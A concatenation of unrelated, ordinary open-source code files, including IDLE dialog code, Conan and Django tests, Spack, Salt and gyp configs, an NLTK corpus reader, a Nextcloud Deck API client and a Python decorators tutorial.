# Specify others as ascii until need utf-8, so catch errors. def show_idle_credits(self): "Handle Idle Credits button event." self.display_file_text('About - Credits', 'CREDITS.txt', 'utf-8') def show_readme(self): "Handle Readme button event." self.display_file_text('About - Readme', 'README.txt', 'ascii') def show_idle_news(self): "Handle News button event." self.display_file_text('About - NEWS', 'NEWS.txt', 'utf-8') def display_printer_text(self, title, printer): """Create textview for built-in constants. Built-in constants have type _sitebuiltins._Printer. The text is extracted from the built-in and then sent to a text viewer with self as the parent and title as the title of the popup. """ printer._Printer__setup() text = '\n'.join(printer._Printer__lines) self._current_textview = textview.view_text( self, title, text, _utest=self._utest) def display_file_text(self, title, filename, encoding=None): """Create textview for filename. The filename needs to be in the current directory. The path is sent to a text viewer with self as the parent, title as the title of the popup, and the file encoding. """ fn = os.path.join(os.path.abspath(os.path.dirname(__file__)), filename) self._current_textview = textview.view_file( self, title, fn, encoding, _utest=self._utest) def ok(self, event=None): "Dismiss help_about dialog." self.grab_release() self.destroy() if __name__ == '__main__': from unittest import main main('idlelib.idle_test.test_help_about', verbosity=2, exit=False) from idlelib.idle_test.htest import run run(AboutDialog)
py
1a4ca6c36e4e5a49a0f79a697384fd26e6a2cb4a
import os import unittest import six from conans.paths import BUILD_INFO, CONANFILE from conans.test.utils.tools import TestClient from conans.util.files import mkdir class SourceTest(unittest.TestCase): def test_local_flow_patch(self): # https://github.com/conan-io/conan/issues/2327 conanfile = """from conans import ConanFile, tools from conans.tools import save import os class TestexportConan(ConanFile): exports = "mypython.py" exports_sources = "patch.patch" def source(self): save("hello/hello.h", "my hello header!") patch = os.path.join(self.source_folder, "patch.patch") self.output.info("PATCH: %s" % tools.load(patch)) header = os.path.join(self.source_folder, "hello/hello.h") self.output.info("HEADER: %s" % tools.load(header)) python = os.path.join(self.source_folder, "mypython.py") self.output.info("PYTHON: %s" % tools.load(python)) """ client = TestClient() client.save({"conanfile.py": conanfile, "patch.patch": "mypatch", "mypython.py": "mypython"}) client.run("source .") self.assertIn("conanfile.py: PATCH: mypatch", client.out) self.assertIn("conanfile.py: HEADER: my hello header!", client.out) self.assertIn("conanfile.py: PYTHON: mypython", client.out) client.run("source . -sf=mysrc") self.assertIn("conanfile.py: Executing exports to", client.out) self.assertIn("conanfile.py: PATCH: mypatch", client.out) self.assertIn("conanfile.py: HEADER: my hello header!", client.out) self.assertIn("conanfile.py: PYTHON: mypython", client.out) self.assertTrue(os.path.exists(os.path.join(client.current_folder, "mysrc", "patch.patch"))) self.assertTrue(os.path.exists(os.path.join(client.current_folder, "mysrc", "mypython.py"))) self.assertTrue(os.path.exists(os.path.join(client.current_folder, "mysrc", "hello/hello.h"))) def test_apply_patch(self): # https://github.com/conan-io/conan/issues/2327 # Test if a patch can be applied in source() both in create # and local flow client = TestClient() conanfile = """from conans import ConanFile from conans.tools import load import os class Pkg(ConanFile): exports_sources = "*" def source(self): if self.develop: patch = os.path.join(self.source_folder, "mypatch") self.output.info("PATCH: %s" % load(patch)) """ client.save({"conanfile.py": conanfile, "mypatch": "this is my patch"}) client.run("source .") self.assertIn("PATCH: this is my patch", client.out) client.run("source . -sf=mysrc") self.assertIn("PATCH: this is my patch", client.out) client.run("create . Pkg/0.1@user/testing") self.assertIn("PATCH: this is my patch", client.out) def test_source_warning_os_build(self): # https://github.com/conan-io/conan/issues/2368 conanfile = '''from conans import ConanFile class ConanLib(ConanFile): pass ''' client = TestClient() client.save({CONANFILE: conanfile}) client.run("source .") self.assertNotIn("This package defines both 'os' and 'os_build'", client.out) def test_source_reference(self): client = TestClient() client.run("source lib/1.0@conan/stable", assert_error=True) self.assertIn("'conan source' doesn't accept a reference anymore", client.out) def test_source_with_path_errors(self): client = TestClient() client.save({"conanfile.txt": "contents"}, clean_first=True) # Path with conanfile.txt client.run("source conanfile.txt --install-folder subdir", assert_error=True) self.assertIn( "A conanfile.py is needed, %s is not acceptable" % os.path.join(client.current_folder, "conanfile.txt"), client.out) # Path with wrong conanfile path client.run("package not_real_dir/conanfile.py --build-folder build2 --install-folder build", assert_error=True) self.assertIn("Conanfile not found at %s" % os.path.join(client.current_folder, "not_real_dir", "conanfile.py"), client.out) def test_source_local_cwd(self): conanfile = ''' import os from conans import ConanFile class ConanLib(ConanFile): name = "Hello" version = "0.1" def source(self): self.output.info("Running source!") self.output.info("cwd=>%s" % os.getcwd()) ''' client = TestClient() client.save({CONANFILE: conanfile}) subdir = os.path.join(client.current_folder, "subdir") os.mkdir(subdir) client.run("install . --install-folder subdir") client.run("source . --install-folder subdir --source-folder subdir") self.assertIn("conanfile.py (Hello/0.1): Configuring sources", client.out) self.assertIn("conanfile.py (Hello/0.1): cwd=>%s" % subdir, client.out) def test_local_source_src_not_exist(self): conanfile = ''' import os from conans import ConanFile class ConanLib(ConanFile): name = "Hello" version = "0.1" def source(self): pass ''' client = TestClient() client.save({CONANFILE: conanfile}) # Automatically created client.run("source conanfile.py --source-folder=src") self.assertTrue(os.path.exists(os.path.join(client.current_folder, "src"))) def test_build_folder_no_exists_crash(self): conanfile = ''' import os from conans import ConanFile class ConanLib(ConanFile): name = "Hello" version = "0.1" def source(self): pass ''' client = TestClient() client.save({CONANFILE: conanfile}) # Automatically created client.run("source ./conanfile.py --install-folder=missing_folder", assert_error=True) self.assertIn("Specified info-folder doesn't exist", client.out) def test_build_folder_reading_infos(self): conanfile = ''' import os from conans import ConanFile class ConanLib(ConanFile): name = "Hello" version = "0.1" def package_info(self): self.cpp_info.cxxflags.append("FLAG") self.env_info.MYVAR = "foo" self.user_info.OTHERVAR = "bar" ''' client = TestClient() client.save({CONANFILE: conanfile}) client.run("export . conan/testing") conanfile = ''' import os from conans import ConanFile from conans.util.files import save class ConanLib(ConanFile): requires="Hello/0.1@conan/testing" def source(self): assert(os.getcwd() == self.source_folder) self.output.info("FLAG=%s" % self.deps_cpp_info["Hello"].cxxflags[0]) self.output.info("MYVAR=%s" % self.deps_env_info["Hello"].MYVAR) self.output.info("OTHERVAR=%s" % self.deps_user_info["Hello"].OTHERVAR) self.output.info("CURDIR=%s" % os.getcwd()) ''' # First, failing source() client.save({CONANFILE: conanfile}, clean_first=True) build_folder = os.path.join(client.current_folder, "build") src_folder = os.path.join(client.current_folder, "src") mkdir(build_folder) mkdir(src_folder) client.run("source . --install-folder='%s' --source-folder='%s'" % (build_folder, src_folder), assert_error=True) self.assertIn("self.deps_cpp_info not defined.", client.out) client.run("install . --install-folder build --build ") client.run("source conanfile.py --install-folder='%s' --source-folder='%s'" % (build_folder, src_folder)) self.assertIn("FLAG=FLAG", client.out) self.assertIn("MYVAR=foo", client.out) self.assertIn("OTHERVAR=bar", client.out) self.assertIn("CURDIR=%s" % src_folder, client.out) def test_repeat_args_fails(self): conanfile = ''' from conans import ConanFile class ConanLib(ConanFile): def source(self): pass ''' client = TestClient() client.save({CONANFILE: conanfile}) client.run("source ./conanfile.py --source-folder sf") with six.assertRaisesRegex(self, Exception, "Command failed"): client.run("source . --source-folder sf --source-folder sf") with six.assertRaisesRegex(self, Exception, "Command failed"): client.run("source conanfile.py --source-folder sf --install-folder if " "--install-folder rr") def test_local_source(self): conanfile = ''' from conans import ConanFile from conans.util.files import save class ConanLib(ConanFile): def source(self): self.output.info("Running source!") err save("file1.txt", "Hello World") ''' # First, failing source() client = TestClient() client.save({CONANFILE: conanfile, BUILD_INFO: ""}) client.run("source .", assert_error=True) self.assertIn("conanfile.py: Running source!", client.out) self.assertIn("ERROR: conanfile.py: Error in source() method, line 9", client.out) # Fix the error and repeat client.save({CONANFILE: conanfile.replace("err", "")}) client.run("source .") self.assertIn("conanfile.py: Configuring sources in", client.out) self.assertIn("conanfile.py: Running source!", client.out) self.assertEqual("Hello World", client.load("file1.txt"))
py
1a4ca70513ae741db441a46ebf6da276d6797851
# Copyright 2013-2019 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) from spack import * class RS4vectors(RPackage): """The S4Vectors package defines the Vector and List virtual classes and a set of generic functions that extend the semantic of ordinary vectors and lists in R. Package developers can easily implement vector-like or list-like objects as concrete subclasses of Vector or List. In addition, a few low-level concrete subclasses of general interest (e.g. DataFrame, Rle, and Hits) are implemented in the S4Vectors package itself (many more are implemented in the IRanges package and in other Bioconductor infrastructure packages).""" homepage = "https://bioconductor.org/packages/S4Vectors/" git = "https://git.bioconductor.org/packages/S4Vectors.git" version('0.18.3', commit='d6804f94ad3663828440914920ac933b934aeff1') version('0.16.0', commit='00fec03fcbcb7cff37917fab0da28d91fdf9dc3d') version('0.14.7', commit='40af17fe0b8e93b6a72fc787540d2961773b8e23') depends_on('[email protected]:', type=('build', 'run'), when='@0.14.7') depends_on('[email protected]:', type=('build', 'run'), when='@0.16.0:') depends_on('[email protected]:3.4.9', when='@0.14.7', type=('build', 'run')) depends_on('[email protected]:3.5.9', when='@0.18.3', type=('build', 'run'))
py
1a4ca81294424ac949dfd1351e52d565985e957d
import requests headers = {"OCS-APIRequest": "true"} # The API is implemented as documented here: https://deck.readthedocs.io/en/latest/API/ class DeckAPI: def __init__(self, url, auth): self.url = url self.auth = auth def get(self, route): response = requests.get( f"{self.url}{route}", auth=self.auth, headers=headers, ) if response.status_code != requests.codes.ok: print(f"The response was: {response.content}") response.raise_for_status() return response def post(self, route, json): response = requests.post( f"{self.url}{route}", auth=self.auth, json=json, headers=headers, ) if response.status_code != requests.codes.ok: print(f"The response was: {response.content}") response.raise_for_status() return response def postFiles(self, route, data, files): response = requests.post( f"{self.url}{route}", auth=self.auth, data=data, files=files, headers=headers, ) if response.status_code != requests.codes.ok: print(f"The response was: {response.content}") response.raise_for_status() return response def put(self, route, json): response = requests.put( f"{self.url}{route}", auth=self.auth, json=json, headers=headers, ) if response.status_code != requests.codes.ok: print(f"The response was: {response.content}") response.raise_for_status() return response def delete(self, route): response = requests.delete( f"{self.url}{route}", auth=self.auth, headers=headers, ) if response.status_code != requests.codes.ok: print(f"The response was: {response.conten}") response.raise_for_status() return response def getBoards(self): return self.get(f"/index.php/apps/deck/api/v1.0/boards").json() def getBoardDetails(self, boardId): return self.get(f"/index.php/apps/deck/api/v1.0/boards/{boardId}").json() def getStacks(self, boardId): return self.get(f"/index.php/apps/deck/api/v1.0/boards/{boardId}/stacks").json() def getStacksArchived(self, boardId): return self.get( f"/index.php/apps/deck/api/v1.0/boards/{boardId}/stacks/archived" ).json() def createBoard(self, title, color): board = self.post( "/index.php/apps/deck/api/v1.0/boards", {"title": title, "color": color} ).json() boardId = board["id"] # remove all default labels for label in board["labels"]: labelId = label["id"] self.delete( f"/index.php/apps/deck/api/v1.0/boards/{boardId}/labels/{labelId}" ) return board def createLabel(self, title, color, boardId): return self.post( f"/index.php/apps/deck/api/v1.0/boards/{boardId}/labels", {"title": title, "color": color}, ).json() def createStack(self, title, order, boardId): return self.post( f"/index.php/apps/deck/api/v1.0/boards/{boardId}/stacks", {"title": title, "order": order}, ).json() def createCard(self, title, ctype, order, description, duedate, boardId, stackId): return self.post( f"/index.php/apps/deck/api/v1.0/boards/{boardId}/stacks/{stackId}/cards", { "title": title, "type": ctype, "order": order, "description": description, "duedate": duedate.isoformat() if duedate is not None else None, }, ).json() def assignLabel(self, labelId, cardId, boardId, stackId): self.put( f"/index.php/apps/deck/api/v1.0/boards/{boardId}/stacks/{stackId}/cards/{cardId}/assignLabel", {"labelId": labelId}, ) def archiveCard(self, card, boardId, stackId): card['archived'] = True self.put( f"/index.php/apps/deck/api/v1.0/boards/{boardId}/stacks/{stackId}/cards/{card['id']}", card, ) def commentOnCard(self, cardId, message, parentId=None): self.post( f"/ocs/v2.php/apps/deck/api/v1.0/cards/{cardId}/comments", {"message": message, "parentId": parentId}, ) def attachToCard(self, boardId, stackId, cardId, fileName, fileObject, mimeType): self.postFiles( f"/index.php/apps/deck/api/v1.0/boards/{boardId}/stacks/{stackId}/cards/{cardId}/attachments", {"type": "deck_file"}, {"file": (fileName, fileObject, mimeType)}, )
py
1a4ca87ccf6c2ecf3be488a9eda99567f1c6440d
from direct.showbase.ShowBaseGlobal import * import DistributedCCharBase from direct.directnotify import DirectNotifyGlobal from direct.fsm import ClassicFSM from direct.fsm import State import CharStateDatas from toontown.toonbase import ToontownGlobals from toontown.toonbase import TTLocalizer import DistributedDale class DistributedJailbirdDale(DistributedDale.DistributedDale): notify = DirectNotifyGlobal.directNotify.newCategory('DistributedJailbirdDale') def __init__(self, cr): try: self.DistributedDale_initialized except: self.DistributedDale_initialized = 1 DistributedCCharBase.DistributedCCharBase.__init__(self, cr, TTLocalizer.JailbirdDale, 'jda') self.fsm = ClassicFSM.ClassicFSM(self.getName(), [State.State('Off', self.enterOff, self.exitOff, ['Neutral']), State.State('Neutral', self.enterNeutral, self.exitNeutral, ['Walk']), State.State('Walk', self.enterWalk, self.exitWalk, ['Neutral'])], 'Off', 'Off') self.fsm.enterInitialState() self.handleHolidays() self.nametag.setText(TTLocalizer.Dale)
py
1a4ca89d9015364ea6d3d46ba26a9b89ae9235d3
"""Decorators are higher order functions that accept functions and return another function that executes the original""" import datetime import functools def check_value(func): """checking value parameter decorator - function that returns a function.""" def do_checking(name, value): print("decorate: we can do anything we like here, even changing the function parameters or anything") if value is None or value == 0: # decorate original function value = 4 return func(name, value) # return function that calls original function parameter return do_checking def fix_name(func): """ensure string is correct capitalised.""" def do_changes(name, value): print("decorate: we can fix strings through capitalization") name = name.capitalize() return func(name, value) return do_changes def negate_value(func): """negate value decorator.""" def do_negation(name, value): print("decorate: we can change return values by negating value") return -value return do_negation def my_function(name, value): """this is our function we want to decorate.""" print("name:", name, "value:", value) return print("\nwe can stack functions so one will call the other...") my_fixed_name_function = fix_name(my_function) # a way to create a decorated version of function my_value_checked_and_fixed_name_function = check_value(my_fixed_name_function) # original my_function has been decorated my_value_checked_and_fixed_name_function("hello world!", None) # this decorator is called first @check_value @fix_name @negate_value # you can see this as series of function calls with a function as parameter def my_decorated_function(name, value): # ...check_value(fix_name(negate_value(my_decorated_function))) """my original function.""" print("name:", name, "value:", value) return value print("\nwe can use the @symbol to simplify decoration of a function...") print("my_decorated_function.__name__ =", my_decorated_function.__name__) # not what we expected ret_value = my_decorated_function("hello world!", 0) print("ret_value from my_decorated_function =", ret_value) # check value decorator used before negate_value def my_general_capitalize_decorator(func): def capitalise_func(*args, **kwargs): args = tuple([x.capitalize() if isinstance(x, str) else x for x in args]) kwargs = {k: v.capitalize() if isinstance(v, str) else v for k, v in kwargs.items()} func(*args, **kwargs) return capitalise_func @my_general_capitalize_decorator def my_function(name, age, surname, middle_name): print("name:", name, middle_name, surname, f"({age})") @my_general_capitalize_decorator def my_other_function(place, time): print("meet me at", place, "at", time) print("\nwe can use args and kwargs to make decorators suitable for different functions and parameters...") my_function('bob', 34, 'smith', middle_name='reginald') my_other_function('underneath the arches', datetime.datetime.now()) class SomeRandomClass: def __init__(self): pass @my_general_capitalize_decorator def a_method(self, name, age, surname, middle_name): print("class name:", name, middle_name, surname, f"({age})") print("or class methods...") my_instance = SomeRandomClass() my_instance.a_method('bob', 34, 'smith', middle_name='reginald') print("or even a lambda...") my_general_capitalize_decorator(lambda x, y: print(x, y))('hello', 'bobby') def my_decorator(func): @functools.wraps(func) # note, you need to send func parameter in this case, wraps accepts def do_decoration(): # ...func as a parameter print("hello from decorator!") func() return do_decoration @my_decorator def my_function(): """my_function doc string""" print("hello from function!") print("\nwraps() decorator from functools can be used to preserve original name and docstring...") my_function() print("my_function.__name__ =", my_function.__name__) print("my_function.__doc__ =", my_function.__doc__) print("#################################") def my_simple_decorator(func): print("calling function", func.__name__) # this will be printed when function is decorated not.. return func # ..when the function is called @my_simple_decorator # note that my_simple_decorator is applied here def my_function(): return 'hello from my_function' print("\ndecorators can be very simple for debugging or registering...") print(my_function()) print("#################################") def my_param_decorator(a_string, an_integer): # functool.wraps() takes a function object as a parameter print("my_param_decorator") def my_parameterised_decorator(func): print("my_parameterised_decorator") def do_decoration(*args, **kwargs): print("do_decoration:", a_string) print(f"..executing {an_integer} times") for i in range(an_integer): func(*args, **kwargs) return do_decoration return my_parameterised_decorator @my_param_decorator('decorator parameter', 2) # my_param_decorator and my_parameterised_decorator called here def my_function(): print("in my_function") print("\nwe can pass parameters to a decorator using an extra function wrapper...") my_function() # do_decoration is done here print("#################################") # thanks to https://realpython.com/primer-on-python-decorators/ def my_param_decorator(_func=None, *, a_string=None, an_integer=1): # * means all parameters after are keyword only print("my_param_decorator") def my_parameterised_decorator(func): print("my_parameterised_decorator") def do_decoration(*args, **kwargs): do_decoration.number_decorations += 1 # decorator state update print("do_decoration:", a_string) print(f"..executing {an_integer} times") for i in range(an_integer): func(*args, **kwargs) do_decoration.number_decorations = 0 # we can add attributes as usual for state return do_decoration if _func is None: print("_func is None so parameters were specified") print("a_string =", a_string, "an_integer =", an_integer) return my_parameterised_decorator # return my_parameterised_decorator function as object else: print("_func is", _func) print("...so no parameters were specified, calling my_parameterised_decorator...!") _decorator_func = my_parameterised_decorator(_func) print("called my_parameterised_decorator to get decorator function") return _decorator_func # call function and returns the resulting function object # ...do_decoration @my_param_decorator # so this is effectively my_param_decorator(my_function) so _func = my_function def my_function(): print("in my_function") print("\ncalling function with non-parameterised decorator...") my_function() # my_function is actually the decorated function do_decoration so we can access its attributes print("number of decorations:", my_function.number_decorations) print("#################################") @my_param_decorator(an_integer=2) # have parameters so _func = None so this is effectively... def my_function(): # ...my_param_decorator(an_integer=2)(my_function) print("in my_function") print("\ncalling function with parameterised decorator...") my_function() my_function() print("number of decorations:", my_function.number_decorations) print("#################################")
py
1a4caa474c68a038f08ac370251b33fd77363b8b
# -*- coding: utf-8 -*- ''' Manage Grafana v4.0 users .. versionadded:: 2017.7.0 :configuration: This state requires a configuration profile to be configured in the minion config, minion pillar, or master config. The module will use the 'grafana' key by default, if defined. Example configuration using basic authentication: .. code-block:: yaml grafana: grafana_url: http://grafana.localhost grafana_user: admin grafana_password: admin grafana_timeout: 3 Example configuration using token based authentication: .. code-block:: yaml grafana: grafana_url: http://grafana.localhost grafana_token: token grafana_timeout: 3 .. code-block:: yaml Ensure foobar user is present: grafana4_user.present: - name: foobar - password: mypass - email: "foobar@localhost" - fullname: Foo Bar - is_admin: true ''' from __future__ import absolute_import from salt.ext.six import string_types from salt.utils import dictupdate from salt.utils.dictdiffer import deep_diff def __virtual__(): '''Only load if grafana4 module is available''' return 'grafana4.get_user' in __salt__ def present(name, password, email, is_admin=False, fullname=None, theme=None, profile='grafana'): ''' Ensure that a user is present. name Name of the user. password Password of the user. email Email of the user. is_admin Optional - Set user as admin user. Default: False fullname Optional - Full name of the user. theme Optional - Selected theme of the user. profile Configuration profile used to connect to the Grafana instance. Default is 'grafana'. ''' if isinstance(profile, string_types): profile = __salt__['config.option'](profile) ret = {'name': name, 'result': None, 'comment': None, 'changes': {}} user = __salt__['grafana4.get_user'](name, profile) create = not user if create: __salt__['grafana4.create_user']( login=name, password=password, email=email, name=fullname, profile=profile) user = __salt__['grafana4.get_user'](name, profile) ret['changes']['new'] = user user_data = __salt__['grafana4.get_user_data'](user['id']) data = _get_json_data(login=name, email=email, name=fullname, theme=theme, defaults=user_data) if data != _get_json_data(login=None, email=None, name=None, theme=None, defaults=user_data): __salt__['grafana4.update_user'](user['id'], profile=profile, **data) dictupdate.update( ret['changes'], deep_diff( user_data, __salt__['grafana4.get_user_data'](user['id']))) if user['isAdmin'] != is_admin: __salt__['grafana4.update_user_permissions']( user['id'], isGrafanaAdmin=is_admin, profile=profile) dictupdate.update(ret['changes'], deep_diff( user, __salt__['grafana4.get_user'](name, profile))) ret['result'] = True if create: ret['changes'] = ret['changes']['new'] ret['comment'] = 'New user {0} added'.format(name) else: if ret['changes']: ret['comment'] = 'User {0} updated'.format(name) else: ret['changes'] = None ret['comment'] = 'User {0} already up-to-date'.format(name) return ret def absent(name, profile='grafana'): ''' Ensure that a user is present. name Name of the user to remove. profile Configuration profile used to connect to the Grafana instance. Default is 'grafana'. ''' if isinstance(profile, string_types): profile = __salt__['config.option'](profile) ret = {'name': name, 'result': None, 'comment': None, 'changes': {}} user = __salt__['grafana4.get_user'](name, profile) if user: orgs = __salt__['grafana4.get_user_orgs'](user['id'], profile=profile) __salt__['grafana4.delete_user'](user['id'], profile=profile) for org in orgs: if org['name'] == user['email']: # Remove entire Org in the case where auto_assign_org=false: # When set to false, new users will automatically cause a new # organization to be created for that new user (the org name # will be the email) __salt__['grafana4.delete_org'](org['orgId'], profile=profile) else: __salt__['grafana4.delete_user_org']( user['id'], org['orgId'], profile=profile) else: ret['result'] = True ret['comment'] = 'User {0} already absent'.format(name) return ret ret['result'] = True ret['changes'][name] = 'Absent' ret['comment'] = 'User {0} was deleted'.format(name) return ret def _get_json_data(defaults=None, **kwargs): if defaults is None: defaults = {} for k, v in kwargs.items(): if v is None: kwargs[k] = defaults.get(k) return kwargs
py
1a4caa6e00722a75053318f4bee4867da195011e
# Natural Language Toolkit: Dependency Corpus Reader # # Copyright (C) 2001-2015 NLTK Project # Author: Kepa Sarasola <[email protected]> # Iker Manterola <[email protected]> # # URL: <http://nltk.org/> # For license information, see LICENSE.TXT import codecs from cnltk.parse import DependencyGraph from cnltk.tokenize import * from cnltk.corpus.reader.util import * from cnltk.corpus.reader.api import * class DependencyCorpusReader(SyntaxCorpusReader): def __init__(self, root, fileids, encoding='utf8', word_tokenizer=TabTokenizer(), sent_tokenizer=RegexpTokenizer('\n', gaps=True), para_block_reader=read_blankline_block): CorpusReader.__init__(self, root, fileids, encoding) ######################################################### def raw(self, fileids=None): """ :return: the given file(s) as a single string. :rtype: str """ result = [] for fileid, encoding in self.abspaths(fileids, include_encoding=True): if isinstance(fileid, PathPointer): result.append(fileid.open(encoding=encoding).read()) else: with codecs.open(fileid, "r", encoding) as fp: result.append(fp.read()) return concat(result) def words(self, fileids=None): return concat([DependencyCorpusView(fileid, False, False, False, encoding=enc) for fileid, enc in self.abspaths(fileids, include_encoding=True)]) def tagged_words(self, fileids=None): return concat([DependencyCorpusView(fileid, True, False, False, encoding=enc) for fileid, enc in self.abspaths(fileids, include_encoding=True)]) def sents(self, fileids=None): return concat([DependencyCorpusView(fileid, False, True, False, encoding=enc) for fileid, enc in self.abspaths(fileids, include_encoding=True)]) def tagged_sents(self, fileids=None): return concat([DependencyCorpusView(fileid, True, True, False, encoding=enc) for fileid, enc in self.abspaths(fileids, include_encoding=True)]) def parsed_sents(self, fileids=None): sents=concat([DependencyCorpusView(fileid, False, True, True, encoding=enc) for fileid, enc in self.abspaths(fileids, include_encoding=True)]) return [DependencyGraph(sent) for sent in sents] class DependencyCorpusView(StreamBackedCorpusView): _DOCSTART = '-DOCSTART- -DOCSTART- O\n' #dokumentu hasiera definitzen da def __init__(self, corpus_file, tagged, group_by_sent, dependencies, chunk_types=None, encoding='utf8'): self._tagged = tagged self._dependencies = dependencies self._group_by_sent = group_by_sent self._chunk_types = chunk_types StreamBackedCorpusView.__init__(self, corpus_file, encoding=encoding) def read_block(self, stream): # Read the next sentence. sent = read_blankline_block(stream)[0].strip() # Strip off the docstart marker, if present. if sent.startswith(self._DOCSTART): sent = sent[len(self._DOCSTART):].lstrip() # extract word and tag from any of the formats if not self._dependencies: lines = [line.split('\t') for line in sent.split('\n')] if len(lines[0]) == 3 or len(lines[0]) == 4: sent = [(line[0], line[1]) for line in lines] elif len(lines[0]) == 10: sent = [(line[1], line[4]) for line in lines] else: raise ValueError('Unexpected number of fields in dependency tree file') # discard tags if they weren't requested if not self._tagged: sent = [word for (word, tag) in sent] # Return the result. if self._group_by_sent: return [sent] else: return list(sent)
gyp
1a4cabf94efa7f1ac60cd56070e5929d3ab07cb4
# Copyright (c) 2011 Google Inc. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. { 'targets': [ { 'target_name': 'dep_framework', 'product_name': 'Dependency Framework', 'type': 'shared_library', 'mac_bundle': 1, 'sources': [ 'empty.c', ], }, { 'target_name': 'test_app', 'product_name': 'Test App Assets Catalog Gyp', 'type': 'executable', 'mac_bundle': 1, 'dependencies': [ 'dep_framework', ], 'sources': [ 'TestApp/main.m', 'TestApp/TestApp_Prefix.pch', 'TestApp/TestAppAppDelegate.h', 'TestApp/TestAppAppDelegate.m', ], 'mac_bundle_resources': [ 'TestApp/English.lproj/InfoPlist.strings', # UTF-8 'TestApp/English.lproj/utf-16be.strings', 'TestApp/English.lproj/utf-16le.strings', 'TestApp/English.lproj/MainMenu.xib', 'TestApp/Images.xcassets', ], 'link_settings': { 'libraries': [ '$(SDKROOT)/System/Library/Frameworks/Cocoa.framework', ], }, 'xcode_settings': { 'INFOPLIST_FILE': 'TestApp/TestApp-Info.plist', 'MACOSX_DEPLOYMENT_TARGET': '10.9', }, }, ], }
py
1a4cadcf48ace267baee1f5e403a5ecd269e6169
from test_plus.test import TestCase from fiction_outlines.models import Outline, Series, Character, Location from fiction_outlines.models import ( CharacterInstance, LocationInstance, StoryElementNode, ) class TestUser(TestCase): def setUp(self): self.user = self.make_user() def test__str__(self): self.assertEqual( self.user.__str__(), "testuser", # This is the default username for self.make_user() ) def test_get_absolute_url(self): self.assertEqual(self.user.get_absolute_url(), "/users/testuser/") class TestRecentChangeFeed(TestCase): """ Test the retrieval of recent changes made by a user. """ def setUp(self): def get_sn(node_id): return StoryElementNode.objects.get(pk=node_id) self.user = self.make_user("u1") self.s1 = Series.objects.create(title="Urban Fantasy Trilogy", user=self.user) self.c1 = Character.objects.create(name="John Doe", user=self.user) self.c1.series.add(self.s1) self.c2 = Character.objects.create(name="Mary Sue", user=self.user) self.c2.series.add(self.s1) self.l1 = Location.objects.create(name="The bar", user=self.user) self.l1.series.add(self.s1) self.o1 = Outline.objects.create( title="Dark Embrace", user=self.user, series=self.s1 ) self.c1int = CharacterInstance.objects.create( character=self.c1, outline=self.o1 ) self.l1int = LocationInstance.objects.create(location=self.l1, outline=self.o1) self.arc1 = self.o1.create_arc(name="Coming of age", mace_type="character") self.arc2 = self.o1.create_arc(name="Dragon invasion", mace_type="event") self.part1 = self.o1.story_tree_root.add_child( name="Part 1", story_element_type="part" ) self.part2 = get_sn(self.o1.story_tree_root.pk).add_child( name="Part 2", story_element_type="part" ) self.c2.description = "Good at everything she does." self.c2.save() self.chap1 = self.part1.add_child( name="Chapter 1", story_element_type="chapter" ) self.part1.refresh_from_db() # Make sure we have the treebeard changes. self.c1int.main_character = True self.c1int.save() self.o1.description = "Sexy vampires in the city" self.o1.save() self.hook = self.arc1.arc_root_node.get_children()[0] self.hook.description = "Our hero walks alone in the rain." self.hook.save() self.chap1.description = "The cold city..." self.chap1.save() self.l1.description = "Dark, sticky, and reeks of poorly forgotten violence." self.l1.save() def test_additions_list(self): """ Verify that the additions list is collected propery. """ additions_list = self.user.get_recent_additions(15) assert len(additions_list) == 15 assert additions_list[0]["object"] == self.chap1 assert additions_list[1]["object"] == self.part2 assert additions_list[2]["object"] == self.part1 assert additions_list[3]["object"] == self.arc2.arc_root_node.get_children()[6] assert additions_list[4]["object"] == self.arc2.arc_root_node.get_children()[5] assert additions_list[5]["object"] == self.arc2.arc_root_node.get_children()[4] assert additions_list[6]["object"] == self.arc2.arc_root_node.get_children()[3] assert additions_list[7]["object"] == self.arc2.arc_root_node.get_children()[2] assert additions_list[8]["object"] == self.arc2.arc_root_node.get_children()[1] assert additions_list[9]["object"] == self.arc2.arc_root_node.get_children()[0] assert additions_list[10]["object"] == self.arc2 assert additions_list[11]["object"] == self.arc1.arc_root_node.get_children()[6] assert additions_list[12]["object"] == self.arc1.arc_root_node.get_children()[5] assert additions_list[13]["object"] == self.arc1.arc_root_node.get_children()[4] assert additions_list[14]["object"] == self.arc1.arc_root_node.get_children()[3] def test_edits_list(self): """ Verify that edits are retrieved correctly and in the right order. """ edits_list = self.user.get_recent_edits(15) print(edits_list) for edit in edits_list: print( "{0}: created({1}), modifed({2})".format( edit["object"], edit["object"].created, edit["object"].modified ) ) assert len(edits_list) == 8 assert edits_list[0]["object"] == self.l1 assert edits_list[1]["object"] == self.o1 assert edits_list[2]["object"] == self.arc1 assert edits_list[3]["object"] == self.c1int assert edits_list[4]["object"] == self.c2 assert edits_list[5]["object"] == self.arc2 assert edits_list[6]["object"] == self.c1 assert edits_list[7]["object"] == self.s1 def test_combined_list(self): """ Verify that combined list is joined and sorted correctly. """ all_events = self.user.get_all_recent_changes(15) assert len(all_events) == 15 assert all_events[0]["object"] == self.l1 assert all_events[0]["edit_type"] == "edit" assert all_events[1]["object"] == self.o1 assert all_events[1]["edit_type"] == "edit" assert all_events[2]["object"] == self.arc1 assert all_events[2]["edit_type"] == "edit" assert all_events[3]["object"] == self.c1int assert all_events[3]["edit_type"] == "edit" assert all_events[4]["object"] == self.chap1 assert all_events[4]["edit_type"] == "add" assert all_events[5]["object"] == self.c2 assert all_events[5]["edit_type"] == "edit" assert all_events[6]["object"] == self.part2 assert all_events[6]["edit_type"] == "add" assert all_events[7]["object"] == self.part1 assert all_events[7]["edit_type"] == "add" assert all_events[8]["object"] == self.arc2.arc_root_node.get_children()[6] assert all_events[8]["edit_type"] == "add" assert all_events[9]["object"] == self.arc2.arc_root_node.get_children()[5] assert all_events[9]["edit_type"] == "add" assert all_events[10]["object"] == self.arc2.arc_root_node.get_children()[4] assert all_events[10]["edit_type"] == "add" assert all_events[11]["object"] == self.arc2.arc_root_node.get_children()[3] assert all_events[11]["edit_type"] == "add" assert all_events[12]["object"] == self.arc2.arc_root_node.get_children()[2] assert all_events[12]["edit_type"] == "add" assert all_events[13]["object"] == self.arc2.arc_root_node.get_children()[1] assert all_events[13]["edit_type"] == "add" assert all_events[14]["object"] == self.arc2.arc_root_node.get_children()[0] assert all_events[14]["edit_type"] == "add"
py
